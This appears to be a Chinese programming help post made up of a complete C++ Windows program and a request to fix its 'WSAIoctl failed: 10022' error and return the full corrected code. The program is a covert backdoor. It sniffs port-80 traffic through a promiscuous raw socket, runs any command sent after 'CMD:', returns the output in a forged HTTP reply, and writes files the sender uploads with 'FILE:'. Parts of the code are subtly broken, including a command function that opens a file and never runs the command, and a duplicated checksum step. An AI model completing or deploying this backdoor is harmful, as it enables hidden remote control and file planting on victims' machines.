#define _CRT_SECURE_NO_WARNINGS
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string>
#include <process.h>
#pragma comment(lib, "ws2_32.lib")
// 使用 const 定义常量
const int MAX_PACKET_SIZE = 65536;
const int HTTP_PORT = 80;
// 手动定义缺失的宏
#ifndef SIO_RCVALL
#define IOC_IN 0x80000000
#define IOC_VENDOR 0x18000000
#define _WSAIOW(x,y) (IOC_IN|(x)|(y))
#define SIO_RCVALL _WSAIOW(IOC_VENDOR, 1)
#endif
#ifndef RCVALL_ON
#define RCVALL_ON 1
#endif
#pragma pack(push, 1)
typedef struct _IP_HEADER {
UCHAR ver_ihl; // 版本和头部长度
UCHAR tos; // 服务类型
USHORT tot_len; // 总长度
USHORT id; // 标识符
USHORT frag_off; // 分片偏移
UCHAR ttl; // 生存时间
UCHAR protocol; // 协议类型
USHORT check; // 校验和
ULONG saddr; // 源地址
ULONG daddr; // 目的地址
} IP_HEADER;
typedef struct _TCP_HEADER {
USHORT src_port; // 源端口
USHORT dst_port; // 目的端口
ULONG seq_num; // 序列号
ULONG ack_num; // 确认号
UCHAR data_offset; // 数据偏移
UCHAR flags; // 标志位
USHORT window; // 窗口大小
USHORT checksum; // 校验和
USHORT urg_ptr; // 紧急指针
} TCP_HEADER;
#pragma pack(pop)
// 校验和计算函数
USHORT checksum(USHORT* buffer, int size) {
ULONG cksum = 0;
while (size > 1) {
cksum += *buffer++;
size -= static_cast<int>(sizeof(USHORT));
}
if (size) cksum += *(UCHAR*)buffer;
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return static_cast<USHORT>(~cksum);
}
// 命令执行函数
void execute_command(const char* cmd, char* output, size_t output_size) {
FILE* fp;
if (fopen_s(&fp, cmd, "r") == 0 && fp) {
if (fgets(output, static_cast<int>(output_size), fp) == NULL) {
strncpy_s(output, output_size, "Command failed", _TRUNCATE);
}
_pclose(fp);
}
else {
strncpy_s(output, output_size, "Command failed", _TRUNCATE);
}
}
int main() {
WSADATA wsa;
SOCKET sock;
DWORD flag = RCVALL_ON;
struct sockaddr_in saddr;
char buffer[MAX_PACKET_SIZE];
// 初始化Winsock
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
printf("WSAStartup failed: %d\n", WSAGetLastError());
return 1;
}
// 创建原始套接字
sock = WSASocket(AF_INET, SOCK_RAW, IPPROTO_IP, NULL, 0, WSA_FLAG_OVERLAPPED);
if (sock == INVALID_SOCKET) {
printf("Socket creation failed: %d\n", WSAGetLastError());
WSACleanup();
return 1;
}
// 设置端口复用
int opt = 1;
if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR,
reinterpret_cast<char*>(&opt), sizeof(opt)) == SOCKET_ERROR) {
printf("SO_REUSEADDR failed: %d\n", WSAGetLastError());
}
// 绑定80端口
memset(&saddr, 0, sizeof(saddr));
saddr.sin_family = AF_INET;
saddr.sin_port = htons(HTTP_PORT);
saddr.sin_addr.s_addr = INADDR_ANY;
if (bind(sock, reinterpret_cast<SOCKADDR*>(&saddr), sizeof(saddr)) == SOCKET_ERROR) {
printf("Bind failed: %d\n", WSAGetLastError());
closesocket(sock);
WSACleanup();
return 1;
}
// 设置混杂模式
DWORD bytesRet;
if (WSAIoctl(sock, SIO_RCVALL, &flag, sizeof(flag),
NULL, 0, &bytesRet, NULL, NULL) == SOCKET_ERROR) {
printf("WSAIoctl failed: %d\n", WSAGetLastError());
closesocket(sock);
WSACleanup();
return 1;
}
printf("[+] Server listening on port 80...\n");
printf("[!] Note: This program requires administrator privileges to run\n");
while (true) {
int ret = recv(sock, buffer, MAX_PACKET_SIZE, 0);
if (ret <= 0) continue;
IP_HEADER* iph = reinterpret_cast<IP_HEADER*>(buffer);
if (iph->protocol != IPPROTO_TCP) continue;
TCP_HEADER* tcph = reinterpret_cast<TCP_HEADER*>(
buffer + (iph->ver_ihl & 0x0F) * 4);
if (ntohs(tcph->dst_port) != HTTP_PORT) continue;
char* payload = buffer + (iph->ver_ihl & 0x0F) * 4 + (tcph->data_offset >> 4) * 4;
int payload_len = ret - ((iph->ver_ihl & 0x0F) * 4 + (tcph->data_offset >> 4) * 4);
if (payload_len > 0) {
// 命令执行功能
if (strncmp(payload, "CMD:", 4) == 0) {
char cmd_output[1024];
execute_command(payload + 4, cmd_output, sizeof(cmd_output));
printf("[+] Command executed: %s\nResult: %s\n", payload + 4, cmd_output);
// 构造响应包
char resp_packet[1500];
IP_HEADER* resp_ip = reinterpret_cast<IP_HEADER*>(resp_packet);
TCP_HEADER* resp_tcp = reinterpret_cast<TCP_HEADER*>(resp_packet + sizeof(IP_HEADER));
// 填充IP头
memcpy(resp_ip, iph, sizeof(IP_HEADER));
resp_ip->saddr = iph->daddr;
resp_ip->daddr = iph->saddr;
resp_ip->tot_len = htons(static_cast<u_short>(
sizeof(IP_HEADER) + sizeof(TCP_HEADER) + strlen(cmd_output) + 40));
resp_ip->check = 0;
// 填充TCP头
resp_tcp->src_port = tcph->dst_port;
resp_tcp->dst_port = tcph->src_port;
resp_tcp->seq_num = htonl(ntohl(tcph->ack_num));
resp_tcp->ack_num = htonl(ntohl(tcph->seq_num) + payload_len);
resp_tcp->data_offset = 0x50;
resp_tcp->flags = 0x18;
resp_tcp->window = htons(64240);
resp_tcp->checksum = 0;
// 填充HTTP响应头
char* resp_payload = resp_packet + sizeof(IP_HEADER) + sizeof(TCP_HEADER);
size_t cmd_len = strlen(cmd_output);
int len = sprintf_s(resp_payload,
sizeof(resp_packet) - sizeof(IP_HEADER) - sizeof(TCP_HEADER),
"HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nContent-Length: %zu\r\n\r\n%s",
cmd_len, cmd_output);
// 计算TCP校验和 - 使用动态内存分配解决C2131错误
char pseudo_header[12];
memcpy(pseudo_header, &resp_ip->saddr, 4);
memcpy(pseudo_header + 4, &resp_ip->daddr, 4);
pseudo_header[8] = 0;
pseudo_header[9] = IPPROTO_TCP;
*reinterpret_cast<USHORT*>(pseudo_header + 10) =
htons(static_cast<u_short>(sizeof(TCP_HEADER) + len));
// 动态分配内存替代固定大小数组
char* tcp_segment = new char[sizeof(TCP_HEADER) + len];
memcpy(tcp_segment, resp_tcp, sizeof(TCP_HEADER));
memcpy(tcp_segment + sizeof(TCP_HEADER), resp_payload, len);
USHORT tcp_len = static_cast<USHORT>(sizeof(TCP_HEADER) + len);
resp_tcp->checksum = checksum(reinterpret_cast<USHORT*>(pseudo_header), 12);
resp_tcp->checksum = checksum(reinterpret_cast<USHORT*>(tcp_segment), tcp_len);
// 释放动态分配的内存
delete[] tcp_segment;
// 发送响应
struct sockaddr_in dest;
dest.sin_family = AF_INET;
dest.sin_addr.s_addr = resp_ip->daddr;
sendto(sock, resp_packet,
static_cast<int>(sizeof(IP_HEADER) + sizeof(TCP_HEADER) + len),
0, reinterpret_cast<SOCKADDR*>(&dest), sizeof(dest));
}
// 文件传输功能
else if (strncmp(payload, "FILE:", 5) == 0) {
char filename[256];
const char* space_pos = strchr(payload + 5, ' ');
if (space_pos) {
ptrdiff_t name_len = space_pos - (payload + 5);
if (name_len < sizeof(filename)) {
strncpy_s(filename, sizeof(filename), payload + 5,
static_cast<size_t>(name_len));
filename[name_len] = '\0';
printf("[+] Receiving file: %s\n", filename);
FILE* fp;
if (fopen_s(&fp, filename, "wb") == 0 && fp) {
size_t data_len = static_cast<size_t>(
payload_len - 6 - static_cast<int>(name_len));
fwrite(space_pos + 1, 1, data_len, fp);
fclose(fp);
printf("[+] File saved successfully\n");
}
else {
printf("[-] Failed to open file for writing\n");
}
}
}
else {
printf("[-] Invalid FILE command format\n");
}
}
}
}
closesocket(sock);
WSACleanup();
return 0;
}
该程序运行后报错:WSAIoctl failed: 10022
解决报错,给出修改后的完整程序
最新发布